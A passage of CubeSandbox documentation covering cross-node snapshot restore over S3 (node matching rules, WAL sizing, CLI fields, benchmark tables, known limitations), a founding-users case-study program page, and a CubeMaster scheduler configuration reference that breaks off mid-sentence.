`xfs` leaves `remote_status` empty, so `CanCrossNode` is always false — **xfs snapshots restore only on the origin**. ### 1.4 Target kernel / CPU must match the origin The target node's kernel and CPU identity must match the origin. Memory state (including CPU registers and feature bits) cannot restore correctly otherwise. > **Current match policy:** cross-node compatibility currently requires **equality on `cpuid_hash` and `host_kernel_release` only**. Other fields (`cpu_vendor`, `host_kernel_fingerprint`, `kvm_api_version`) are collected and shown but **are not equality gates**. A target with a non-empty `kvm_module_taint` (forced / out-of-tree / unsigned `kvm.ko`) is rejected. Later releases may tighten this; follow the version you run. Inspect `HostFacts` with `cubeopscli node list --json`: | JSON field | Meaning | Used in matching today | |------------|---------|------------------------| | `cpuid_hash` | CPU feature hash | Yes (equality) | | `host_kernel_release` | Host kernel release (`uname -r`) | Yes (equality) | | `host_kernel_fingerprint` | Host kernel fingerprint (release + normalized cmdline) | Display only; may become a gate later | | `cpu_vendor` | CPU vendor (Intel / AMD / Kunpeng, …) | Display only; may become a gate later | | `kvm_api_version` | KVM API version | Display only; may become a gate later | | `kvm_module_taint` | KVM module taint; empty means clean | Non-empty **target** is rejected | > Because most display fields are not equality-checked automatically, still compare the full `HostFacts` objects of origin and target with `cubeopscli node list --json` before relying on cross-node restore. #### 1.4.1 How `cpuid_hash` is computed Cubelet reads `/proc/cpuinfo` on the node and hashes CPU identity plus the feature set with a deterministic SHA-256 digest (prefix `sha256:`). Two hosts hash equal only when identity and features are identical. Inputs: * **x86**: `vendor_id`, `cpu family`, `model`, `stepping`, `flags` (e.g. `vmx` / `avx2` / `smep` / `nx`) * **ARM**: `CPU implementer`, `CPU architecture`, `CPU variant`, `CPU part`, `CPU revision`, `Features` > Only the first logical CPU is hashed (the fleet is assumed homogeneous). `flags` / `Features` are sorted before hashing, so kernel export order does not matter. Heterogeneous hosts (big.LITTLE, Intel P+E) can hash equal even when secondary cores differ. *** ## 2. Configuring the S3 backend Cube install ships MinIO as the default S3 service so you can try the feature out of the box. To point at your own S3 store, follow the [CubeS3lvol README](https://github.com/TencentCloud/CubeSandbox/blob/master/CubeS3lvol/README.md). ### 2.1 Kubernetes (Helm) Set `cubeS3lvol.enabled=true` — no other configuration is needed by default: the sidecar reuses the chart's built-in MinIO (or the configured `volumeS3`) endpoint and credentials, and writes to its own `cube-s3lvol` bucket, always separate from the S3 volume plugin's `cube-volumes` bucket. ::: warning Recreates the Big Pod Enabling this switch recreates the Big Pod on the compute nodes. Do it in a maintenance window — ideally before any sandbox is created. ::: Identity comes from the full Kubernetes node name, hashed to `rcow-<8hex>`. A Pod recreate keeps the same name. `cubeS3lvol.lvsName` pins the same name on every node — do not set it on a multi-node cluster. Extra settings are only needed when: * the S3 endpoint is external and path-style — set `cubeS3lvol.s3.pathStyle: true`; * cores are isolated — set `cubeS3lvol.cpuMask` (default is the last two allowed CPUs). ```yaml cubeS3lvol: enabled: true # Optional: override endpoint / keys. Bucket must stay separate from cube-volumes. # s3: # endpoint: https://s3.example.com # accessKeyId: ... # secretAccessKey: ... # bucket: cube-s3lvol ``` The first start creates the sparse WAL if it is missing; `journalMB` / `walMB` / `cacheMB` only apply before that file exists. Enabling the sidecar also raises the Big Pod's `terminationGracePeriodSeconds` to at least 180s so `rcow_stop` can disconnect and unload. *** ## 3. Storage requirements on every node Every node that runs the s3lvol target needs about **2 CPU + 19 GiB RAM**; x86\_64 hosts need AVX2 (Haswell). This includes the default 1 GiB whole-object RAM cache (`RCOW_CACHE_HOT_BUFS=1024`); set it to `0` for disk-only caching. Snapshot objects live in shared S3, but **every node that runs the s3lvol target also needs a local WAL image**. Cross-node restore depends on it: writes to the snapshot are staged on local disk first and flushed to S3 asynchronously, and a node without the image can neither take snapshots nor restore them. ### 3.1 The WAL image * Path: `/data/cubelet/rcow/wal_bdev.img` * Logical size: **512 GiB** by default, created as a **sparse** file by one-click `install.sh` or the Helm sidecar entrypoint on first start * Created once; the journal / WAL / cache split is fixed at creation and cannot be resized afterwards (only by re-creating the image) The default 512 GiB is three regions: | Region | Default size | Purpose | |--------|-------------|---------| | Journal | 1024 MiB | records of in-flight writes, replayed when the lvstore is attached | | WAL | 32768 MiB (32 GiB) | locally staged writes before they are flushed to S3 | | Chunk cache | 490496 MiB (≈479 GiB) | local cache of recently written chunks | > The image is **sparse**: provisioning 512 GiB of logical space does not consume 512 GiB of disk up front. Plan physical disk usage around the write working set, not the logical size. ### 3.2 Cluster planning * **Every node that may restore cross-node needs its own WAL image on local disk** — compute nodes running sandboxes, and control nodes that run the s3lvol target, included. * The region sizes are set at install time via `RCOW_JOURNAL_MB` / `RCOW_WAL_MB` / `RCOW_CACHE_MB` (one-click), chart `cubeS3lvol.journalMB` / `walMB` / `cacheMB` (Helm), or the equivalent runtime env. Tuning them only matters **before the first start** — the layout is frozen once the image exists. * The image does not hold snapshot data permanently: it is a write buffer plus a cache. The durable copy is in S3. *** ## 4. CLI fields for cross-node restore `cubemastercli` adds `backend` / `remote_status` / `origin_node` columns, and `--backend` on template create. Node list and isolate live on `cubeopscli` (CubeOps, default port `3010`); see [Node Operations](./node-operations.md) and [CLI Tools](./cli-tools.md). ### 4.1 `cubebox list` Two extra columns show whether a sandbox uses S3 and whether its pause package has synced: | Column | Meaning | |--------|---------| | `backend` | CoW backend (`xfs` / `s3`); `xfs` prints `-` | | `remote` | Pause-package `remote_status` (`pending` / `inprogress` / `ready` / `failed`); non-S3 prints `-` | ```bash cubemastercli cubebox list --all ``` Non-paused rows sort by create time descending; paused rows come last and include `pause_snap`. After a successful Resume those columns return to `-`. ### 4.2 `cubebox snapshot list` / `snapshot info` | Field | Meaning | |-------|---------| | `backend` | CoW backend (`xfs` / `s3`); printed `backend` falls back to historical `storage_backend` | | `remote_status` | S3 sync state; empty on `xfs` | | `origin_node_id` / `origin_node_ip` | **Node that created the snapshot** (the “origin” for restore) | | `replicas` table (`NODE_ID` / `NODE_IP` / `STATUS` / `PHASE` / `SPEC` / `ERROR`) | Per-node replica status | ```bash cubemastercli cubebox snapshot list cubemastercli cubebox snapshot info --snapshot-id ``` ### 4.3 `cubebox template list` / `template info` The template list adds a `BACKEND` column; `template info` prints `backend: `. That value is the default CoW backend for sandboxes and snapshots created from the template. ```bash cubemastercli cubebox template list cubemastercli cubebox template info ``` ### 4.4 `tpl create-from-image --backend xfs|s3` ```bash # Declare the backend at template create; omit to keep historical xfs cubemastercli tpl create-from-image \ --image \ --writable-layer-size 4Gi \ --backend s3 ``` > The backend is fixed at **template / sandbox create**. Snapshot create does **not** take a backend flag; it always uses the persisted backend. ### 4.5 `cubeopscli node list` The default table shows health and isolation. HostFacts are in JSON: ```bash cubeopscli --address 127.0.0.1 --port 3010 node list cubeopscli --address 127.0.0.1 --port 3010 node list --json ``` `HostFacts` keys are described in [1.4 Target kernel / CPU must match the origin](#_14-target-kernel--cpu-must-match-the-origin). Before a cross-node restore, confirm `cpuid_hash` and `host_kernel_release` match, and review the rest of HostFacts. *** ## 5. Benchmarks Times are **milliseconds**. **avg** / **p95** are **per-sandbox** create latency (when that sandbox became `running`), not batch wall time divided by concurrency. Figures below were measured on 2026-09-21. The S3 object store is the default in-cluster **MinIO** (path-style). Numbers depend on hardware, image, and dirty-page load; treat them as a same-cluster xfs vs s3 comparison, not a SLA. ### 5.1 Environment Two identical Tencent Cloud CVM nodes (nested KVM), one control+compute and one compute-only. | Item | Value | |------|--------| | OS | TencentOS Server 4.4 | | Kernel | `6.6.69-opencloudos9.cubesandbox.pvm.host` | | CPU | AMD EPYC 9K65, 16 vCPU, 1 thread/core | | Memory | 30 GiB | | Disks | System and data disks ~1 TB each, Tencent Cloud **SSD Cloud Disk** (`CLOUD_SSD`). `/` is XFS; `/data` is ext4. `/data/cubelet` is a bind-mount of the system-disk XFS (one-click cubelet data dir). The xfs/reflink volumes dir and the s3lvol WAL (`wal_bdev.img`, §3.1) live there, not on the ext4 `/data` | | S3 object store | In-cluster MinIO on the **control+compute** node, which is also the template origin. S3 local cells use that node-local endpoint. Cross-node cells isolate the origin so the restore lands on the compute-only node; dest→MinIO still reaches the origin host (isolate only unschedules it) | ### 5.2 Template Both backends use the **same** image and sandbox spec. Each template has a replica on **one** compute node (the origin). Local runs isolate the peer so jobs stay on the origin; cross-node FromSnap isolates the origin. | Item | Value | |------|--------| | Image | `cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest` | | vCPU / memory | 2000 millicores (2 vCPU) / 2048 MiB | | Writable layer | 4Gi | | Probe | port `49983`, path `/health` | | Backends | `xfs` and `s3`, created with `tpl create-from-image --backend …`. `s3` uses MinIO | ### 5.3 Method Keep this method if you re-measure. Do not change table columns or round semantics. 1. **Round cleanup:** start `concurrency` sandboxes, **then kill all of them**, then start the next round. Do not pipeline the next round while the previous sandboxes are still up. 2. **Cold start and create-from-snapshot:** 50 sandbox starts per `(backend, concurrency)` cell. Concurrency 1 → 50 rounds of 1. Concurrency 5 → 10 rounds of 5. Discard one warmup round before measuring. 3. **Create snapshot:** 10 serial runs (create sandbox → `create_snapshot` → kill). S3 **must not** overlap two export requests. 4. **Share snapshot (S3 only):** after `create_snapshot` returns, poll until `remote_status=ready`. That wait is the share time; it is **not** included in “create snapshot”. 5. **Share pause (S3 only):** same poll-to-`ready` as item 4, applied to the pause package after `pause(wait=True)` returns. That wait is the “Share pause” row; it is **not** included in Pause. The published share-pause cells are the c=1 serial samples. 6. **Create from snapshot (S3 local):** isolate the peer; origin still has the replica, and MinIO is on that same node. **S3 cross-node:** wait until the snapshot is `ready`, isolate the origin, create on the compute-only node. Every timer in §5.4 / §5.5 **stops at `running`**. Dest already had this template’s guest OS image and kernel sidecar, so the first ~1 Gi artifact fetch is excluded. Lazy / background fetch of the rest of the S3 package after `running` is also excluded. A dest that has never served the template still pays that one-time image fetch. 7. **Create from snapshot (cached):** one discarded FromSnap of the same snapshot on dest first (package already imported), then the same 50 starts as item 2. XFS has no row. The first 50-start cells already discarded a warmup FromSnap, so dest import is warm there too; these rows check that a second 50 does not change the result. 8. **Pause / Resume:** same 50 starts, c=1 / c=5, one warmup. Pause immediately after Create; no extra guest dirty-page load. Pause time is that sandbox’s `pause(wait=True)` from the call until it returns — **not** time spent waiting for another sandbox’s export. In an S3 c=5 round, Pause + share-pause run one sandbox at a time (next `pause()` starts after the previous package is `ready`). Resume time is `Sandbox.connect`. Cross-node Pause is `N/A`: Pause always runs on the origin and is the same as s3 local. Cross-node Resume: Pause on the origin, wait until `ready`, isolate the origin, connect on dest. 9. XFS has no share step and cannot restore cross-node. ### 5.4 Cold start Create from the **template** (`Sandbox.create(template=tpl-…)`). | Concurrency | xfs avg | xfs p95 | s3 avg | s3 p95 | |-------------|---------|---------|--------|--------| | 1 | 56.1 | 64.2 | 242.9 | 270.9 | | 5 | 68.0 | 79.6 | 663.8 | 839.6 | ### 5.5 Snapshot / Pause / Resume | Operation | xfs avg | xfs p95 | s3 local avg | s3 local p95 | s3 cross-node avg | s3 cross-node p95 | |-----------|---------|---------|--------------|--------------|-------------------|-------------------| | Create snapshot | 97.0 | 118.9 | 2242.2 | 2365.7 | N/A | N/A | | Share snapshot (upload to shared S3; xfs has no step) | N/A | N/A | 4336.4 | 6267.5 | N/A | N/A | | Pause (concurrency 1) | 106.2 | 122.7 | 2509.9 | 2709.3 | N/A | N/A | | Pause (concurrency 5) | 152.7 | 170.4 | 3415.8 | 4154.5 | N/A | N/A | | Share pause (upload to shared S3; xfs has no step) | N/A | N/A | 5318.8 | 5763.4 | N/A | N/A | | Resume (concurrency 1) | 153.6 | 171.3 | 410.8 | 448.4 | 836.2 | 920.8 | | Resume (concurrency 5) | 403.3 | 474.6 | 1755.4 | 2033.7 | 3191.3 | 3837.2 | | Create from snapshot (concurrency 1) | 63.2 | 75.4 | 253.7 | 301.0 | 729.6 | 788.5 | | Create from snapshot (concurrency 5) | 93.4 | 118.5 | 706.9 | 887.3 | 3194.4 | 3912.3 | | Create from snapshot (concurrency 1, cached) | N/A | N/A | 250.2 | 272.8 | 722.5 | 767.6 | | Create from snapshot (concurrency 5, cached) | N/A | N/A | 709.6 | 910.1 | 2829.3 | 3814.5 | Cross-node **Resume** and **FromSnap** cells are **warm dest**: the target already had the template guest OS image (~1 Gi) and kernel sidecar (~50 MiB) before timing. Share rows are origin export to `remote=ready` (advertised package ~210 MiB); dest GET below is only bytes read from MinIO between start and `running`, not a download of that whole package. Cross-node FromSnap / Resume payload (same spec; Snapshot or Pause immediately after Create; **no** extra guest dirty-page load): | Item | Approx. size | |------|----------------| | Sandbox spec | 2 vCPU / 2048 MiB RAM, 4Gi writable layer | | Origin export (reference advertised) | ~210 MiB / ~230 objects. Memory is ~205 MiB; rootfs and metadata are ~4 MiB each. This is what share waits for, not what dest pulls before `running` | | Dest GET from MinIO | ~10–20 MiB **from FromSnap/Resume start until `running`**, for one restore (`dest_direct_get_bytes`). Import registers a lease and activates; it does **not** pull the full ~210 MiB. The guest can keep faulting chunks after `running` (not in the timer), so total transfer is larger | | Guest OS image (not in the timer) | ~1 Gi `.ext4` plus a ~50 MiB kernel sidecar, already on dest. Not S3 package import | The **cached** FromSnap rows are a second 50 starts after dest has already imported that snapshot. At this sample size they are indistinguishable from the first 50-start cells (c=1 differs by ~1%). They are kept as a null result: dest-import / dest-cache warmth does not move the wall time. Share-snapshot p95 with n=10 is one slow sample, not a wide distribution. *** ## 6. Known limitations 1. **S3lvol deletes snapshot objects asynchronously, and referenced snapshots are refused.** After you delete an S3 snapshot, CubeS3lvol finishes removing the objects in the background. The delete RPC returning does not mean the objects are gone from S3 immediately. A snapshot that is still referenced **cannot be deleted immediately**: CubeS3lvol refuses with `EBUSY` while an export is publishing, has a live lease, has a lease miss younger than the source grace (~60 s from the *start* of that absence), is read by a local esnap clone, has more than one clone, or is being decoupled. CubeS3lvol then records a **pending-delete mark** keyed by **(lvstore uuid, lvol uuid)** — not by name, so a same-named snapshot cannot be deleted by mistake. Check `delete_pending` in `rcow_get_lvstores`; `deletable` shows whether it can be deleted right now (from the last lease poll, not a fresh GET). An idle lease-aware export, and a pre-lease export, do **not** pin: the snapshot delete releases the export internally. A new importer of an already-idle export is unprotected until the source's next 20 s poll, when the source first sees the PUT. A different refusal: when the volume is still an **active** NVMe-oF namespace, the delete is refused at the RPC layer (with a hint to run `rcow_deactive_bdev` first). That path does **not** record a mark — it is a precondition the caller can fix immediately, not a blocker to wait out. A ~60s poller then completes the delete once the blocker is gone for **leased** exports (the importer stops renewing and the miss is older than grace), extra clones, a finished decouple, an export that was still publishing, or a **pre-lease** export whose delete has already been recorded. An asynchronously failed destroy is left for an explicit retry. Marks are persisted to `/meta/pending-deletes.json` and restored on attach. The delete RPC returns **before** that PUT; a crash in that window forgets the intent and the delete has to be asked for again. When the blocker is one the poller can finish on its own, the reply is still success, with **`deferred: true`**. A live or still-unknown lease still returns EBUSY; a stale or pre-lease export is released by the delete itself. Withdraw the intent with `rcow_cancel_pending_delete` (`lvol_name` required, `lvs_name` optional); it is idempotent. If the poller has already submitted destroy, cancel only drops the mark and the snapshot may still go away. A snapshot of a volume that is still decoupling from an import keeps that external parent; `rcow_create_snapshot` then returns **`decouple_cancelled: true`**. `--retry-pending` is still the operator tool for failed destroys and for not waiting for the poller: ```sh # from the CubeS3lvol directory test/tools/s3lvol_rpc.py --ls # check the DEL / PEND columns test/tools/s3lvol_rpc.py --retry-pending # retry every marked snapshot that is deletable now ``` The cluster delete path (Cubelet `S3Cow.DeleteByKind`) currently treats a refused snapshot delete as success and does not run `--retry-pending`, so leftover objects on that path must be handled on the node as above. See [Retrying a refused snapshot delete](https://github.com/TencentCloud/CubeSandbox/blob/master/CubeS3lvol/README.md#retrying-a-refused-snapshot-delete---retry-pending) in `CubeS3lvol/README.md`. 2. **DB / filesystem layout changed vs pre-0.7.0; migration is tested from 0.6.0 only.** Table and on-disk layout differ from versions before 0.7.0. The new release adapts older data for cleanup, but that path is **tested against 0.6.0**. If adaptation fails, delete leftover snapshot files and the matching DB rows by hand. 3. **After a cross-node Resume or creating a sandbox from a snapshot, you cannot Pause or take a snapshot again for a short time.** How long depends on the snapshot object size. This will be fixed in the next release. *** ## 7. See also * [Snapshot, Rollback & Clone](./snapshot-rollback-clone.md) * [Sandbox Lifecycle](./lifecycle.md) * [Creating Templates from OCI Images](./tutorials/template-from-image.md) * [Node Operations](./node-operations.md) * [CubeS3lvol README](https://github.com/TencentCloud/CubeSandbox/blob/master/CubeS3lvol/README.md) --- --- url: https://cubesandbox.com/guide/cube100.md --- # Cube 100 Program **Cube 100 · Founding Users Program** — A case study initiative for the first 100 teams running AI agents in production. ## Overview The Cube 100 Program is a global call for the first **100 real, tellable, and measurable** AI agent sandbox case studies — from teams and organizations already using, or about to use, CubeSandbox. Since going open source in April 2026, CubeSandbox has surpassed 10,000 GitHub stars in 80 days, shipped 11 releases, welcomed nearly 70 global contributors, and accumulated over 560 commits. Teams are already running Cube in production — powering AI agents, coding copilots, and data-analysis workloads. The Cube 100 Program aims to systematically capture these real-world practices, giving the community reference architectures and deployment blueprints to learn from — while offering selected teams full-stack engineering and ecosystem support. > 📋 Ready to submit your case? Head straight to the [Application Form](https://forms.gle/Wjy53fksUoc3y4388). It takes about 10–15 minutes. ## What to Include in Your Case Study Your submission should cover the following: | Section | What to include | |---------|-----------------| | **Adoption stage** | Where you are with CubeSandbox today (production / POC / personal project, etc.) | | **Use case** | The role CubeSandbox plays in your stack (e.g. agent code-execution sandbox, data-analysis environment, CI/testing sandbox, agent-platform foundation) | | **Core challenge** | The key technical or business problem you faced before choosing Cube | | **Solution** | How you solved it with CubeSandbox — including your architecture and the features you relied on | | **Measurable outcomes** | At least one externally shareable metric (e.g. cold-start latency, sandbox density, infrastructure cost, throughput) | | **Deployment scale** | Current Cube deployment size (internal testing / small-scale production / medium-to-large production) | | **Migration context** *(optional)* | What you were using before and why you switched to Cube | We recommend attaching supporting materials such as architecture diagrams, deployment screenshots, or key-metric charts. ## Selection Rules * The first cohort is capped at **100 seats**. First come, first reviewed, first accepted. * Applications not selected in this round automatically roll into the next candidate pool with priority review. **Selection criteria:** | Criterion | What we look for | |-----------|------------------| | Authenticity | A real business scenario — not a pure demo. You can share at least one of: architecture diagram, deployment screenshot, or a key metric. | | Narrative clarity | A clear use case, a thoughtful stack choice, and a solid answer to "why Cube?" | | Measurable impact | At least one publicly shareable metric — performance, cost, efficiency, or scale. Any one works. | ## Support Package Selected Cube 100 cases receive the following official support: **Engineering & Ecosystem:** * Direct access to the Cube core contributor and user community * Standout cases get 1:1 sessions and on-site technical briefings from the Cube engineering team * Early access and private beta for new features and releases * A seat at the table for Cube's future roadmap discussions * Priority referrals for ecosystem-level commercial partnerships **Community:** * Official "Case of the Year" certificate and contributor medal * Cross-channel co-promotion (X, Discord, WeChat, and more) * Dedicated case page on the Cube website — including your logo, architecture diagram, and a long-form write-up * Outstanding cases receive free amplification across leading tech media * Inclusion in the official Cube Landscape * Speaker slot opportunity at the Global AI Infra Open-Source Summit (500 attendees), plus promotion and VIP passes ## How to Apply We collect case submissions through an online form. Please set aside **10–15 minutes** to complete it. You'll hear back from a real person on our team within **5 business days** — not an auto-reply. Not a strong writer? No problem — we'll take your raw materials and reshape them into a polished, readable case study. All information stays within the Cube operations team until you give explicit permission. **👉 [Apply for a Seat](https://forms.gle/Wjy53fksUoc3y4388)** --- --- url: https://cubesandbox.com/guide/cubemaster-scheduler-config.md --- # CubeMaster Scheduler Configuration This page explains where CubeMaster scheduler configuration lives, how CubeMaster selects compute nodes, how Cubelet-reported metadata affects scheduling, and how one-click / Terraform deployment variables map to scheduling behavior. If you only need basic multi-node scoring, start with [Multi-Node Cluster Deployment](./multi-node-deploy.md#configure-cubemaster-scheduler-scoring). Use this page as the complete reference when debugging scheduling failures, resource exhaustion, node-label mismatches, template locality, or template synchronization after adding compute nodes. ## Where configuration lives CubeMaster scheduler configuration is stored in CubeMaster's `conf.yaml`: | Deployment | Config location | How to apply | |------------|-----------------|--------------| | one-click / systemd | `/usr/local/services/cubetoolbox/CubeMaster/conf.yaml` | Restart `cube-sandbox-cubemaster.service` | | source config template | `configs/single-node/cubemaster.yaml` | Rebuild the bundle or copy it into the runtime environment | | Tencent Cloud Terraform / TKE | `deploy/one-click/terraform/tencentcloud/tke-addons.tf` (`kubernetes_secret.cubemaster_conf`) | Update the Terraform-generated `yamlencode` configuration, re-apply Terraform, and restart or roll cube-master Pods | | Kubernetes / Helm chart | `deploy/kubernetes/chart/files/cube-master/conf.yaml`, rendered by `deploy/kubernetes/chart/templates/master-config-secret.yaml` | Update the chart file or rendered Secret and restart or roll cube-master Pods | Cubelet node metadata and quota are not configured in CubeMaster. Each Cubelet reports them to CubeOps (port 3010). In one-click deployments, the main inputs are: | Config | Location | Notes | |--------|----------|-------| | Cubelet static config | `/usr/local/services/cubetoolbox/Cubelet/config/config.toml` | Contains `node_status_update_frequency`; restart Cubelet after edits | | Cubelet dynamic config | `/usr/local/services/cubetoolbox/Cubelet/dynamicconf/conf.yaml` | Contains `host.scheduler_label` and `host.quota`; restart Cubelet after edits | Common Cubelet dynamic config: ```yaml host: scheduler_label: "default-cluster" quota: mcpu_limit: 0 mem_limit: "" mvm_limit: 0 creation_concurrent_num: 0 ``` `0` or an empty value usually means Cubelet derives a default from host resources. It does not mean unlimited capacity. For load tests or larger clusters, explicitly review CPU, memory, MVM count, and create-concurrency limits. ## How CubeMaster selects a compute node For each sandbox create request, scheduling roughly follows four steps: 1. **Resolve request constraints**: read `instance_type`, template ID, resource requirements, explicit host IPs, node affinity / annotations, and similar constraints. 2. **Filter nodes**: remove unhealthy nodes, stale metric nodes, nodes over MVM limits, nodes without local template replicas, nodes with too many real-time or locally observed creates, nodes that do not satisfy affinity, and, when the disk filter or backoff path is active, nodes with high disk usage. 3. **Score nodes**: score remaining candidates, for example using weighted `mvm_num`, `local_create_num`, `quota_cpu_usage`, and `quota_mem_usage`. 4. **Pick the final node**: choose from the highest-scored candidate set. `priority_select_num` controls how many top nodes are eligible for final random selection, and `least_select_name` defaults to `random`. Without scoring, CubeMaster still filters nodes but may choose from the filtered order, which can concentrate new sandboxes on the first eligible node until resource filters push traffic elsewhere. ## Key scheduler fields Merge the following scoring fields into the existing `scheduler` section of `cubemaster.yaml`. Keep your existing `filter`, timeout, and instance-type-specific settings unless you intentionally want to replace them. ```yaml scheduler: # Keep your existing filter, timeout, and other scheduler settings. priority_select_num: 3 score: enable_scorers: - real_time_weighted_average resource_weights: mvm_num: 2 local_create_num: 3 quota_cpu_usage: 1 quota_mem_usage: 1 plugin_conf: real_time_weighted_average: weight: 1.0 enable_weight_factors: - mvm_num - local_create_num - quota_cpu_usage - quota_mem_usage ``` | Field | Purpose | |-------|---------| | `priority_select_num` | Final selection is made from the top N scored nodes. Use a value greater than `1` for multi-node clusters; `3` is a good starting point for small clusters. | | `metric_update_timeout` | Treat resource metrics as stale after this duration. It should be much larger than the Cubelet report interval. | | `local_metric_update_timeout` | Reserved local-metric timeout field. Current prefilter logic gates both global and local metric freshness with `metric_update_timeout`. | | `filter.enable_filters` | Enables scheduling filters. Common filters include CPU, memory, template locality, and real-time create concurrency. | | `score.enable_scorers` | Enables scoring plugins. Multi-node deployments usually enable `real_time_weighted_average`; when it is enabled, the matching `score.plugin_conf.real_time_weighted_average` block is required or CubeMaster can panic during scheduler startup. | | `score.resource_weights` | Controls the influence of MVM count, create concurrency, CPU quota usage, and memory quota usage. Higher weight means stronger influence; factors must also be listed under `score.plugin_conf.real_time_weighted_average.enable_weight_factors`. | | `node_max_mvm_num` / `node_max_mvm_num_conf` | Global or per-instance-type single-node MVM limits. Cubelet-reported `max_mvm_num` also participates in the effective limit. | | `disk_usage_max_percent` | Threshold used by the `disk` filter and backoff path to avoid placing more sandboxes on nearly full machines. | | `affinityconf` / `node_affinity_selector_allowed_keys` | Controls affinity and constraints by cluster label, zone, CPU type, instance type, and other allowed selector keys. | ## How node metadata affects scheduling Cubelet registers nodes and continuously reports status through CubeOps's `/internal/v1/node-agent` API. CubeOps persists this metadata to MySQL/Redis; CubeMaster syncs the node view from CubeOps every few seconds and keeps local cache snapshots for scheduling. | Cubelet-reported field | Source | Scheduling effect | |------------------------|--------|-------------------| | `instance_type` | Cubelet node identity / instance type | Matches request `instance_type`, selects template replicas, and applies type-specific MVM settings. | | `cluster_label` | `host.scheduler_label` | Used for cluster-label affinity and node-pool isolation. | | `quota_cpu` | `host.quota.mcpu_limit` or derived from host resources | Schedulable CPU capacity used by CPU filtering and scoring. | | `quota_mem_mb` | `host.quota.mem_limit` or derived from host resources | Schedulable memory capacity used by memory filtering and scoring. | | `max_mvm_num` | `host.quota.mvm_limit` or memory-derived default | Single-node MVM limit. Nodes at the limit are filtered out. | | `create_concurrent_num` | `host.quota.creation_concurrent_num` | Reported per-node create concurrency. `0` means Cubelet does not set an additional engine flow limit, but CubeMaster scheduling still falls back to `cubelet_conf.create_concurrent_limit`. | | allocated / disk usage / cgroup metrics | Periodic Cubelet reports | Used for current resource usage, disk watermarks, and scoring factors. | These values are configured and reported per compute node. Heterogeneous clusters can use different instance types, labels, quota, and create-concurrency limits on different nodes. ## Deployment variable mapping ### one-click multi-node | Variable / config | Effect | |-------------------|--------| | `ONE_CLICK_DEPLOY_ROLE=compute` | Installs a compute node, runs Cubelet/runtime services, and registers to the control plane. | | `CUBE_SANDBOX_NODE_IP` | Routable address registered for this node. Incorrect values can make the node unreachable or invisible. | | `ONE_CLICK_CONTROL_PLANE_IP` / `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` | CubeOps endpoint used by Cubelet for registration and reports (port 3010). CubeMaster is reachable separately on 8089. | | `node_status_update_frequency` in `Cubelet/config/config.toml` | Node status/resource report interval. Default is `1s`; do not put this in dynamic config. | | `host.scheduler_label` in `Cubelet/dynamicconf/conf.yaml` | Node-pool label for affinity and isolation. | | `host.quota.*` in `Cubelet/dynamicconf/conf.yaml` | CPU, memory, MVM count, and create-concurrency scheduling capacity. | ### Tencent Cloud Terraform / TKE | Variable | Effect | |----------|--------| | `TENCENTCLOUD_COMPUTE_NODE_COUNT` | Number of PVM compute nodes, directly controlling the sandbox-hosting node-pool size. | | `TENCENTCLOUD_COMPUTE_INSTANCE_TYPE` | Default compute-node instance type, affecting real CPU/memory and Cubelet-derived quota. | | `TF_VAR_compute_instance_types` | Per-node instance types for heterogeneous compute pools. | | `TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE` | Data disk size for `/data/cubelet`, affecting template, snapshot, and runtime-data capacity. | | `TENCENTCLOUD_CUBELET_NODE_STATUS_UPDATE_FREQUENCY` | Written into each compute node's Cubelet static config; controls node status/resource reporting cadence. | | `TENCENTCLOUD_TKE_NODE_COUNT` / `TENCENTCLOUD_TKE_WORKER_INSTANCE_TYPE` | Control-plane Pod resources. They do not host sandboxes directly, but affect cube-master, cube-api, cube-proxy, and overall control-plane throughput. | `TENCENTCLOUD_COMPUTE_NODE_COUNT` and `TENCENTCLOUD_TKE_NODE_COUNT` are separate resources: the former runs Cubelet and hosts sandboxes, while the latter runs control-plane Pods. ## Recommended configurations ### Small test cluster Suitable for POC, functional validation, and low concurrency. This is a complete starting point for a new small test cluster and includes the shipped timeout/filter defaults; when updating an existing deployment, merge these values instead of replacing unrelated scheduler settings blindly. ```yaml scheduler: priority_select_num: 3 metric_update_timeout: 300s local_metric_update_timeout: 300s filter: enable_filters: - cpu - mem - template_locality - realtime_create_num score: enable_scorers: - real_time_weighted_average resource_weights: mvm_num: 2 local_create_num: 3 quota_cpu_usage: 1 quota_mem_usage: 1 plugin_conf: real_time_weighted_average: weight: 1.0 enable_weight_factors: - mvm_num - local_create_num - quota_cpu_usage - quota_mem_usage ``` Recommendations: * Use at least 2 compute nodes so node selection and failure isolation can be validated. * Start with `priority_select_num: 3`; if the cluster has fewer than 3 compute nodes, set it to the node count. * Keep Cubelet reporting at the default `1s` and CubeMaster metric timeouts at `300s`. * Default-derived `host.quota` is acceptable for basic validation, but inspect it before load testing. ### Larger production-like cluster For higher concurrency or long-running environments: * Set clear `host.scheduler_label` values per node pool, such as general, memory-heavy, or load-test pools. * Configure `node_max_mvm_num_conf` per `instance_type`; avoid using one limit for both large and small nodes. * Increase `priority_select_num` to a small fraction of healthy compute nodes, but avoid making final selection fully random. * Keep the `template_locality` filter enabled so creation only lands on nodes with usable template replicas. * Set explicit `host.quota.creation_concurrent_num` values to avoid a burst of image, disk, or VMM work overloading a single node. * Scale the control plane as well: increase `TENCENTCLOUD_TKE_NODE_COUNT` and relevant control-plane replicas so CubeMaster or cube-api does not become the bottleneck. ## Template redo after adding compute nodes After a new compute node is added, successful node registration does not mean every template is available on that node. The `template_locality` filter requires a usable local template replica on the target node, so creates may fail or continue to land only on older nodes until templates are synchronized. For image-built templates, run template redo after adding a node: ```bash cubemastercli tpl redo \ --template-id \ --node ``` Notes: * `--node` accepts a node ID or host IP; repeat it for multiple nodes. * `redo` waits for completion by default; use `--detach` to submit and exit. * Use `--failed-only` to redo only failed nodes. * Wait for the redo job to complete before creating sandboxes from that template on the new node. Recommended scale-out flow: 1. Install the compute node and confirm it appears in the CubeMaster node list. 2. Confirm the node is healthy and Cubelet resource reports are fresh. 3. Run `cubemastercli tpl redo --template-id --node ` for templates that should run on the new node. 4. Wait for redo jobs to succeed before opening traffic or running E2E tests. ## Troubleshooting ### Scheduling fails or returns no more resource Check: * Whether `quota_cpu` / `quota_mem_mb` are lower than the requested resources. * Whether `host.quota.mcpu_limit`, `host.quota.mem_limit`, and `host.quota.mvm_limit` still use low derived defaults. * Whether `mvm_num` reached `max_mvm_num` or `node_max_mvm_num_conf`. * Whether the effective create concurrency limit is blocking the node. Remember that `create_concurrent_num: 0` still falls back to CubeMaster's 